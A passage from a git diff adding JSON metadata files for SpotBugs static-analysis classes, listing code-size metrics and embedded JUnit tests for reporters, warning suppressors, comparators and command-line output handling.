SuppressMatchType.DEFAULT, \"java.lang\", true);\n BugInstance bugInstance = suppressor.buildUselessSuppressionBugInstance(new UselessSuppressionDetector());\n assertThat(\"Message\", bugInstance.getMessage(), is(\"US: Suppressing annotation XYZ on the package java.lang is unnecessary\"));\n }" + }, + { + "description": "nullBugPatternClassWarningSuppressor", + "expected-problems": null, + "expected-linenumbers": [ + 205, + 211 + ], + "code": "@Test\n void nullBugPatternClassWarningSuppressor() {\n ClassWarningSuppressor suppressor = new ClassWarningSuppressor(null, SuppressMatchType.DEFAULT, new ClassAnnotation(\"java.lang.String\"),\n true);\n BugInstance bugInstance = suppressor.buildUselessSuppressionBugInstance(new UselessSuppressionDetector());\n assertThat(\"Message\", bugInstance.getMessage(), is(\"US: Suppressing annotation on the class java.lang.String is unnecessary\"));\n }" + }, + { + "description": "nullBugPatternPackageWarningSuppressor", + "expected-problems": null, + "expected-linenumbers": [ + 213, + 218 + ], + "code": "@Test\n void nullBugPatternPackageWarningSuppressor() {\n PackageWarningSuppressor suppressor = new PackageWarningSuppressor(null, SuppressMatchType.DEFAULT, \"java.lang\", true);\n BugInstance bugInstance = suppressor.buildUselessSuppressionBugInstance(new UselessSuppressionDetector());\n assertThat(\"Message\", bugInstance.getMessage(), is(\"US: Suppressing annotation on the package java.lang is unnecessary\"));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SuppressionMatcherBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SuppressionMatcherBugReporter.json new file mode 100644 index 0000000..74d1114 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SuppressionMatcherBugReporter.json @@ -0,0 +1,41 @@ +{ + "name": "SuppressionMatcherBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 20, + "branches": 0, + "apis": 2, + "test": [ + { + "description": "shouldNotCallUpstreamReporterIfBugSuppressed", + "expected-problems": null, + "expected-linenumbers": [ + 27, + 36 + ], + "code": "@Test\n void shouldNotCallUpstreamReporterIfBugSuppressed() {\n // given\n when(matcher.match(bugInstance)).thenReturn(true);\n // when\n reporter.reportBug(bugInstance);\n // then\n verify(matcher).match(bugInstance);\n verifyNoInteractions(upstreamReporter);\n }" + }, + { + "description": "shouldCallUpstreamReporterIfBugNotSuppressed", + "expected-problems": null, + "expected-linenumbers": [ + 38, + 47 + ], + "code": "@Test\n void shouldCallUpstreamReporterIfBugNotSuppressed() {\n // given\n when(matcher.match(bugInstance)).thenReturn(false);\n // when\n reporter.reportBug(bugInstance);\n // then\n verify(matcher).match(bugInstance);\n verify(upstreamReporter).reportBug(bugInstance);\n }" + }, + { + "description": "shouldCallMatcherAndUpstreamReporterOnFinish", + "expected-problems": null, + "expected-linenumbers": [ + 49, + 56 + ], + "code": "@Test\n void shouldCallMatcherAndUpstreamReporterOnFinish() {\n // when\n reporter.finish();\n // then\n verify(matcher).validateSuppressionUsage(eq(reporter), any());\n verify(upstreamReporter).finish();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SwitchHandler.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SwitchHandler.json new file mode 100644 index 0000000..3151093 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SwitchHandler.json @@ -0,0 +1,13 @@ +{ + "name": "SwitchHandler", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 298, + "branches": 51, + "apis": 39, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SynchronizedBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SynchronizedBugReporter.json new file mode 100644 index 0000000..a0313ae --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SynchronizedBugReporter.json @@ -0,0 +1,23 @@ +{ + "name": "SynchronizedBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 119, + "branches": 2, + "apis": 16, + "test": [ + { + "description": "testSetErrorVerbosity", + "expected-problems": null, + "expected-linenumbers": [ + 29, + 41 + ], + "code": "@Test\n void testSetErrorVerbosity() {\n AtomicBoolean called = new AtomicBoolean();\n PrintingBugReporter inner = new PrintingBugReporter() {\n @Override\n public void setErrorVerbosity(int level) {\n assertEquals(level, BugReporter.NORMAL);\n called.set(true);\n }\n };\n new SynchronizedBugReporter(inner).setErrorVerbosity(BugReporter.NORMAL);\n assertTrue(called.get());\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SystemProperties.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SystemProperties.json new file mode 100644 index 0000000..2aae9be --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SystemProperties.json @@ -0,0 +1,13 @@ +{ + "name": "SystemProperties", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 293, + "branches": 33, + "apis": 40, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TextUIBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TextUIBugReporter.json new file mode 100644 index 0000000..89e882b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TextUIBugReporter.json @@ -0,0 +1,13 @@ +{ + "name": "TextUIBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 262, + "branches": 26, + "apis": 38, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TextUICommandLine.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TextUICommandLine.json new file mode 100644 index 0000000..9f9a062 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TextUICommandLine.json @@ -0,0 +1,68 @@ +{ + "name": "TextUICommandLine", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 859, + "branches": 144, + "apis": 228, + "test": [ + { + "description": "handleOutputFileReturnsRemainingPart", + "expected-problems": null, + "expected-linenumbers": [ + 18, + 26 + ], + "code": "@Test\n void handleOutputFileReturnsRemainingPart() throws IOException {\n Path file = Files.createTempFile(\"spotbugs\", \".xml\");\n TextUICommandLine commandLine = new TextUICommandLine();\n SortingBugReporter reporter = new SortingBugReporter();\n String result = commandLine.handleOutputFilePath(reporter, \"withMessages=\" + file.toFile().getAbsolutePath());\n\n assertThat(result, is(\"withMessages\"));\n }" + }, + { + "description": "handleOutputFilePathUsesGzip", + "expected-problems": null, + "expected-linenumbers": [ + 28, + 39 + ], + "code": "@Test\n void handleOutputFilePathUsesGzip() throws IOException {\n Path file = Files.createTempFile(\"spotbugs\", \".xml.gz\");\n TextUICommandLine commandLine = new TextUICommandLine();\n SortingBugReporter reporter = new SortingBugReporter();\n commandLine.handleOutputFilePath(reporter, \"withMessages=\" + file.toFile().getAbsolutePath());\n\n reporter.finish();\n byte[] written = Files.readAllBytes(file);\n assertThat(\"GZip file should have 31 as its header\", written[0], is((byte) 31));\n assertThat(\"GZip file should have -117 as its header\", written[1], is((byte) -117));\n }" + }, + { + "description": "handleOutputFileTruncatesExisting", + "expected-problems": null, + "expected-linenumbers": [ + 41, + 52 + ], + "code": "@Test\n void handleOutputFileTruncatesExisting() throws IOException {\n Path file = Files.createTempFile(\"spotbugs\", \".html\");\n Files.writeString(file, \"content\");\n TextUICommandLine commandLine = new TextUICommandLine();\n SortingBugReporter reporter = new SortingBugReporter();\n commandLine.handleOutputFilePath(reporter, \"withMessages=\" + file.toFile().getAbsolutePath());\n\n reporter.finish();\n byte[] written = Files.readAllBytes(file);\n assertThat(\"Output file should be truncated to 0 bytes\", written.length, is(0));\n }" + }, + { + "description": "htmlReportWithOption", + "expected-problems": null, + "expected-linenumbers": [ + 54, + 82 + ], + "code": "@Test\n void htmlReportWithOption() throws IOException {\n Path xmlFile = Files.createTempFile(\"spotbugs\", \".xml\");\n Path htmlFile = Files.createTempFile(\"spotbugs\", \".html\");\n Path sarifFile = Files.createTempFile(\"spotbugs\", \".sarif\");\n Path emacsFile = Files.createTempFile(\"spotbugs\", \".emacs\");\n Path xdocsFile = Files.createTempFile(\"spotbugs\", \".xdocs\");\n Path textFile = Files.createTempFile(\"spotbugs\", \".txt\");\n\n TextUICommandLine commandLine = new TextUICommandLine();\n try (FindBugs2 findbugs = new FindBugs2()) {\n commandLine.handleOption(\"-xml\", \"=\" + xmlFile.toFile().getAbsolutePath());\n commandLine.handleOption(\"-html\", \"fancy-hist.xsl=\" + htmlFile.toFile().getAbsolutePath());\n commandLine.handleOption(\"-sarif\", \"=\" + sarifFile.toFile().getAbsolutePath());\n commandLine.handleOption(\"-emacs\", \"=\" + emacsFile.toFile().getAbsolutePath());\n commandLine.handleOption(\"-xdocs\", \"=\" + xdocsFile.toFile().getAbsolutePath());\n commandLine.handleOption(\"-sortByClass\", \"=\" + textFile.toFile().getAbsolutePath());\n commandLine.configureEngine(findbugs);\n findbugs.getBugReporter().finish();\n }\n String html = Files.readString(htmlFile, StandardCharsets.UTF_8);\n assertThat(html, containsString(\"#historyTab\"));\n\n assertTrue(xmlFile.toFile().isFile());\n assertTrue(sarifFile.toFile().isFile());\n assertTrue(emacsFile.toFile().isFile());\n assertTrue(xdocsFile.toFile().isFile());\n assertTrue(textFile.toFile().isFile());\n }" + }, + { + "description": "sharedOutputFilesAreNotDuplicated", + "expected-problems": null, + "expected-linenumbers": [ + 84, + 106 + ], + "code": "@Test\n void sharedOutputFilesAreNotDuplicated() throws Exception {\n Path file = Files.createTempFile(\"spotbugs\", \".html\");\n TextUICommandLine commandLine = new TextUICommandLine();\n try (FindBugs2 findbugs = new FindBugs2()) {\n commandLine.handleOption(\"-html\", \"fancy-hist.xsl=\" + file.toFile().getAbsolutePath());\n commandLine.handleOption(\"-xml\", \"withMessages=\" + file.toFile().getAbsolutePath());\n commandLine.handleOption(\"-xml\", \"=\" + file.toFile().getAbsolutePath());\n commandLine.handleOption(\"-sarif\", \"=\" + file.toFile().getAbsolutePath());\n commandLine.handleOption(\"-emacs\", \"=\" + file.toFile().getAbsolutePath());\n commandLine.handleOption(\"-xdocs\", \"=\" + file.toFile().getAbsolutePath());\n commandLine.handleOption(\"-sortByClass\", \"=\" + file.toFile().getAbsolutePath());\n\n commandLine.configureEngine(findbugs);\n var configuredReporter = findbugs.getBugReporter();\n // this is a horrible hack: This would be a BugReportDispatcher if there was more than one reporter\n assertThat(configuredReporter, not(isA(BugReportDispatcher.class)));\n configuredReporter.finish();\n }\n // we don't even *really* need to finish analysis, but it's better to explicitly check\n String html = Files.readString(file, StandardCharsets.UTF_8);\n assertThat(html, containsString(\"#historyTab\"));\n }" + }, + { + "description": "deduplicationUsesCanonicalPaths", + "expected-problems": null, + "expected-linenumbers": [ + 108, + 129 + ], + "code": "@Test\n void deduplicationUsesCanonicalPaths() throws Exception {\n Path tmpdir = Files.createTempDirectory(\"spotbugs\");\n Files.createDirectory(tmpdir.resolve(\"sibling1\"));\n Files.createDirectory(tmpdir.resolve(\"sibling2\"));\n Path file = Files.createTempFile(tmpdir.resolve(\"sibling1\"), \"tempFile\", \".xml\");\n Path altFile = tmpdir.resolve(\"sibling2\").resolve(\"..\").resolve(file.getFileName());\n TextUICommandLine commandLine = new TextUICommandLine();\n try (FindBugs2 findbugs = new FindBugs2()) {\n commandLine.handleOption(\"-xml\", \"=\" + file);\n commandLine.handleOption(\"-xml\", \"=\" + altFile);\n\n commandLine.configureEngine(findbugs);\n var configuredReporter = findbugs.getBugReporter();\n // this is a horrible hack: This would be a BugReportDispatcher if there was more than one reporter\n assertThat(configuredReporter, not(isA(BugReportDispatcher.class)));\n configuredReporter.finish();\n }\n // we don't even *really* need to finish analysis, but it's better to explicitly check\n String xml = Files.readString(file, StandardCharsets.UTF_8);\n assertThat(xml, containsString(\"BugCollection\"));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TextUIProgressCallback.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TextUIProgressCallback.json new file mode 100644 index 0000000..16b8800 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TextUIProgressCallback.json @@ -0,0 +1,13 @@ +{ + "name": "TextUIProgressCallback", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 111, + "branches": 5, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Token.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Token.json new file mode 100644 index 0000000..6f37f4f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Token.json @@ -0,0 +1,13 @@ +{ + "name": "Token", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 100, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Tokenizer.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Tokenizer.json new file mode 100644 index 0000000..8a6c244 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Tokenizer.json @@ -0,0 +1,13 @@ +{ + "name": "Tokenizer", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 227, + "branches": 38, + "apis": 59, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TrainingDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TrainingDetector.json new file mode 100644 index 0000000..4cf0534 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TrainingDetector.json @@ -0,0 +1,13 @@ +{ + "name": "TrainingDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 27, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TypeAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TypeAnnotation.json new file mode 100644 index 0000000..c175c82 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TypeAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "TypeAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 214, + "branches": 15, + "apis": 28, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/UseAnnotationDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/UseAnnotationDatabase.json new file mode 100644 index 0000000..382a5b5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/UseAnnotationDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "UseAnnotationDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 28, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Version.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Version.json new file mode 100644 index 0000000..83c1303 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Version.json @@ -0,0 +1,13 @@ +{ + "name": "Version", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 172, + "branches": 22, + "apis": 47, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/VersionInsensitiveBugComparator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/VersionInsensitiveBugComparator.json new file mode 100644 index 0000000..f22fe14 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/VersionInsensitiveBugComparator.json @@ -0,0 +1,41 @@ +{ + "name": "VersionInsensitiveBugComparator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 288, + "branches": 36, + "apis": 64, + "test": [ + { + "description": "compare1", + "expected-problems": null, + "expected-linenumbers": [ + 74, + 93 + ], + "code": "@Test\n void compare1() {\n BugInstance lbi = new BugInstance(\"NP_NULL_ON_SOME_PATH\", Priorities.NORMAL_PRIORITY);\n BugInstance rbi = new BugInstance(\"NP_NULL_ON_SOME_PATH\", Priorities.NORMAL_PRIORITY);\n\n List llist = new LinkedList<>();\n llist.add(new StringAnnotation(\"ABC\"));\n llist.add(new SourceLineAnnotation(\"A\", \"B\", 1, 2, 3, 4));\n llist.add(new MyBugAnnotation(\"ABC\"));\n lbi.addAnnotations(llist);\n\n List rlist = new LinkedList<>();\n rlist.add(new StringAnnotation(\"ABC\"));\n rlist.add(new SourceLineAnnotation(\"A\", \"B\", 1, 2, 3, 4));\n rlist.add(new MyBugAnnotation(\"DEF\"));\n rbi.addAnnotations(rlist);\n\n VersionInsensitiveBugComparator cmp = new VersionInsensitiveBugComparator();\n Assertions.assertEquals(cmp.compare(lbi, rbi), -cmp.compare(rbi, lbi));\n }" + }, + { + "description": "compare2", + "expected-problems": null, + "expected-linenumbers": [ + 95, + 124 + ], + "code": "@Test\n void compare2() {\n BugInstance bi1 = new BugInstance(\"NP_NULL_ON_SOME_PATH\", Priorities.NORMAL_PRIORITY);\n BugInstance bi2 = new BugInstance(\"NP_NULL_ON_SOME_PATH\", Priorities.NORMAL_PRIORITY);\n BugInstance bi3 = new BugInstance(\"NP_NULL_ON_SOME_PATH\", Priorities.NORMAL_PRIORITY);\n\n List list1 = new LinkedList<>();\n list1.add(new StringAnnotation(\"ABC\"));\n list1.add(new MyBugAnnotation(\"ABC\"));\n list1.add(new SourceLineAnnotation(\"A\", \"B\", 1, 2, 3, 4));\n bi1.addAnnotations(list1);\n\n List list2 = new LinkedList<>();\n list2.add(new MyBugAnnotation(\"DEF\"));\n list2.add(new StringAnnotation(\"ABC\"));\n list2.add(new SourceLineAnnotation(\"A\", \"B\", 1, 2, 3, 4));\n bi2.addAnnotations(list2);\n\n List list3 = new LinkedList<>();\n list3.add(new MyBugAnnotation(\"GHI\"));\n bi3.addAnnotations(list3);\n\n VersionInsensitiveBugComparator cmp = new VersionInsensitiveBugComparator();\n // Because\n Assertions.assertTrue(cmp.compare(bi3, bi2) > 0);\n Assertions.assertTrue(cmp.compare(bi2, bi1) > 0);\n\n // So\n Assertions.assertTrue(cmp.compare(bi3, bi1) > 0);\n }" + }, + { + "description": "compare3", + "expected-problems": null, + "expected-linenumbers": [ + 126, + 155 + ], + "code": "@Test\n void compare3() {\n BugInstance bi1 = new BugInstance(\"NP_NULL_ON_SOME_PATH\", Priorities.NORMAL_PRIORITY);\n BugInstance bi2 = new BugInstance(\"NP_NULL_ON_SOME_PATH\", Priorities.NORMAL_PRIORITY);\n BugInstance bi3 = new BugInstance(\"NP_NULL_ON_SOME_PATH\", Priorities.NORMAL_PRIORITY);\n\n List list1 = new LinkedList<>();\n list1.add(new MyBugAnnotation(\"ABC\"));\n list1.add(new StringAnnotation(\"ABC\"));\n list1.add(new SourceLineAnnotation(\"A\", \"B\", 1, 2, 3, 4));\n bi1.addAnnotations(list1);\n\n List list2 = new LinkedList<>();\n list2.add(new MyBugAnnotation(\"ABC\"));\n list2.add(new StringAnnotation(\"ABC\"));\n list2.add(new SourceLineAnnotation(\"A\", \"B\", 1, 2, 3, 4));\n bi2.addAnnotations(list2);\n\n List list3 = new LinkedList<>();\n list3.add(new MyBugAnnotation(\"GHI\"));\n bi3.addAnnotations(list3);\n\n VersionInsensitiveBugComparator cmp = new VersionInsensitiveBugComparator();\n\n // because\n Assertions.assertTrue(cmp.compare(bi1, bi2) == 0);\n Assertions.assertTrue(cmp.compare(bi1, bi3) < 0);\n // so\n Assertions.assertTrue(cmp.compare(bi2, bi3) < 0);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/WarningComparator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/WarningComparator.json new file mode 100644 index 0000000..310f423 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/WarningComparator.json @@ -0,0 +1,13 @@ +{ + "name": "WarningComparator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 37, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/WarningSuppressor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/WarningSuppressor.json new file mode 100644 index 0000000..e6108a2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/WarningSuppressor.json @@ -0,0 +1,41 @@ +{ + "name": "WarningSuppressor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 122, + "branches": 15, + "apis": 21, + "test": [ + { + "description": "testIssue", + "expected-problems": null, + "expected-linenumbers": [ + 13, + 35 + ], + "code": "@Test\n void testIssue() {\n performAnalysis(\"suppress/SuppressedBugs.class\");\n\n assertMethodBugsCount(\"suppressedNpePrefix\", 0);\n\n assertBugInMethodAtLine(\"NP_ALWAYS_NULL\", \"suppress.SuppressedBugs\", \"nonSuppressedNpePrefix\", 19);\n assertBugInMethodAtLine(\"NP_LOAD_OF_KNOWN_NULL_VALUE\", \"suppress.SuppressedBugs\", \"nonSuppressedNpePrefix\", 19);\n assertBugInMethod(\"US_USELESS_SUPPRESSION_ON_METHOD\", \"suppress.SuppressedBugs\", \"nonSuppressedNpePrefix\");\n\n assertMethodBugsCount(\"suppressedNpeExact\", 0);\n\n assertBugInMethodAtLine(\"NP_ALWAYS_NULL\", \"suppress.SuppressedBugs\", \"nonSuppressedNpeExact\", 33);\n assertBugInMethodAtLine(\"NP_LOAD_OF_KNOWN_NULL_VALUE\", \"suppress.SuppressedBugs\", \"nonSuppressedNpeExact\", 33);\n assertBugInMethodAtLine(\"NP_ALWAYS_NULL\", \"suppress.SuppressedBugs\", \"nonSuppressedNpeExactDifferentCase\", 41);\n assertBugInMethodAtLine(\"NP_LOAD_OF_KNOWN_NULL_VALUE\", \"suppress.SuppressedBugs\", \"nonSuppressedNpeExactDifferentCase\", 41);\n assertBugInMethod(\"US_USELESS_SUPPRESSION_ON_METHOD\", \"suppress.SuppressedBugs\", \"nonSuppressedNpeExact\");\n\n assertMethodBugsCount(\"suppressedNpeRegex\", 0);\n assertBugInMethodAtLine(\"NP_ALWAYS_NULL\", \"suppress.SuppressedBugs\", \"nonSuppressedNpeRegex\", 55);\n assertBugInMethodAtLine(\"NP_LOAD_OF_KNOWN_NULL_VALUE\", \"suppress.SuppressedBugs\", \"nonSuppressedNpeRegex\", 55);\n assertBugInMethod(\"US_USELESS_SUPPRESSION_ON_METHOD\", \"suppress.SuppressedBugs\", \"nonSuppressedNpeRegex\");\n }" + }, + { + "description": "customSuppressAnnotationMethodTest", + "expected-problems": null, + "expected-linenumbers": [ + 37, + 46 + ], + "code": "@Test\n void customSuppressAnnotationMethodTest() {\n performAnalysis(\"suppress/custom/CustomSuppressedBugs.class\", \"suppress/custom/SuppressFBWarnings.class\");\n\n assertMethodBugsCount(\"suppressedNpePrefix\", 0);\n\n assertMethodBugsCount(\"suppressedNpeExact\", 0);\n\n assertNoBugType(\"US_USELESS_SUPPRESSION_ON_FIELD\");\n }" + }, + { + "description": "customSuppressAnnotationFieldTest", + "expected-problems": null, + "expected-linenumbers": [ + 48, + 69 + ], + "code": "@Test\n void customSuppressAnnotationFieldTest() {\n performAnalysis(\"suppress/custom/ExampleWithUnusedFields.class\", \"suppress/custom/SuppressFBWarnings.class\");\n\n // Field with an useless suppression\n assertBugAtField(\"US_USELESS_SUPPRESSION_ON_FIELD\", \"suppress.custom.ExampleWithUnusedFields\", \"uselessSuppression\");\n assertBugAtField(\"UUF_UNUSED_FIELD\", \"suppress.custom.ExampleWithUnusedFields\", \"uselessSuppression\");\n\n // Field with an unknown annotation and an useless annotation\n assertBugAtField(\"US_USELESS_SUPPRESSION_ON_FIELD\", \"suppress.custom.ExampleWithUnusedFields\", \"injectedAndUselessSuppression\");\n\n // unused field\n assertBugAtField(\"UUF_UNUSED_FIELD\", \"suppress.custom.ExampleWithUnusedFields\", \"unused\");\n\n // unused field with suppress annotation: no bug expected here\n assertNoBugAtField(\"UUF_UNUSED_FIELD\", \"suppress.custom.ExampleWithUnusedFields\", \"unusedSuppressed\");\n assertNoBugAtField(\"US_USELESS_SUPPRESSION_ON_FIELD\", \"suppress.custom.ExampleWithUnusedFields\", \"unusedSuppressed\");\n\n // Check the bug counts for this class\n assertBugInClassCount(\"US_USELESS_SUPPRESSION_ON_FIELD\", \"suppress.custom.ExampleWithUnusedFields\", 2);\n assertBugInClassCount(\"UUF_UNUSED_FIELD\", \"suppress.custom.ExampleWithUnusedFields\", 2);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/XDocsBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/XDocsBugReporter.json new file mode 100644 index 0000000..a8f8d71 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/XDocsBugReporter.json @@ -0,0 +1,32 @@ +{ + "name": "XDocsBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 231, + "branches": 23, + "apis": 46, + "test": [ + { + "description": "reportMissingClassByClassNotFoundException", + "expected-problems": null, + "expected-linenumbers": [ + 11, + 19 + ], + "code": "@Test\n void reportMissingClassByClassNotFoundException() {\n Project project = new Project();\n XDocsBugReporter bugReporter = new XDocsBugReporter(project);\n ClassNotFoundException ex = new ClassNotFoundException(\"Class org.example.Foo cannot be resolved.\");\n bugReporter.reportMissingClass(ex);\n SortedBugCollection bugCollection = (SortedBugCollection) bugReporter.getBugCollection();\n assertThat(bugCollection.missingClassIterator().next(), is(\"org.example.Foo\"));\n }" + }, + { + "description": "reportMissingClassByClassDescriptor", + "expected-problems": null, + "expected-linenumbers": [ + 21, + 29 + ], + "code": "@Test\n void reportMissingClassByClassDescriptor() {\n Project project = new Project();\n XDocsBugReporter bugReporter = new XDocsBugReporter(project);\n ClassDescriptor classDescriptor = DescriptorFactory.createClassDescriptorFromDottedClassName(\"org.example.Bar\");\n bugReporter.reportMissingClass(classDescriptor);\n SortedBugCollection bugCollection = (SortedBugCollection) bugReporter.getBugCollection();\n assertThat(bugCollection.missingClassIterator().next(), is(\"org.example.Bar\"));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/XMLBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/XMLBugReporter.json new file mode 100644 index 0000000..32cfbdc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/XMLBugReporter.json @@ -0,0 +1,13 @@ +{ + "name": "XMLBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 63, + "branches": 4, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/XMLWriteableWithMessages.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/XMLWriteableWithMessages.json new file mode 100644 index 0000000..1254bf5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/XMLWriteableWithMessages.json @@ -0,0 +1,13 @@ +{ + "name": "XMLWriteableWithMessages", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 33, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/asm/AbstractFBMethodVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/asm/AbstractFBMethodVisitor.json new file mode 100644 index 0000000..1394c1d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/asm/AbstractFBMethodVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractFBMethodVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 43, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/asm/ClassNodeDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/asm/ClassNodeDetector.json new file mode 100644 index 0000000..6f0ca01 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule 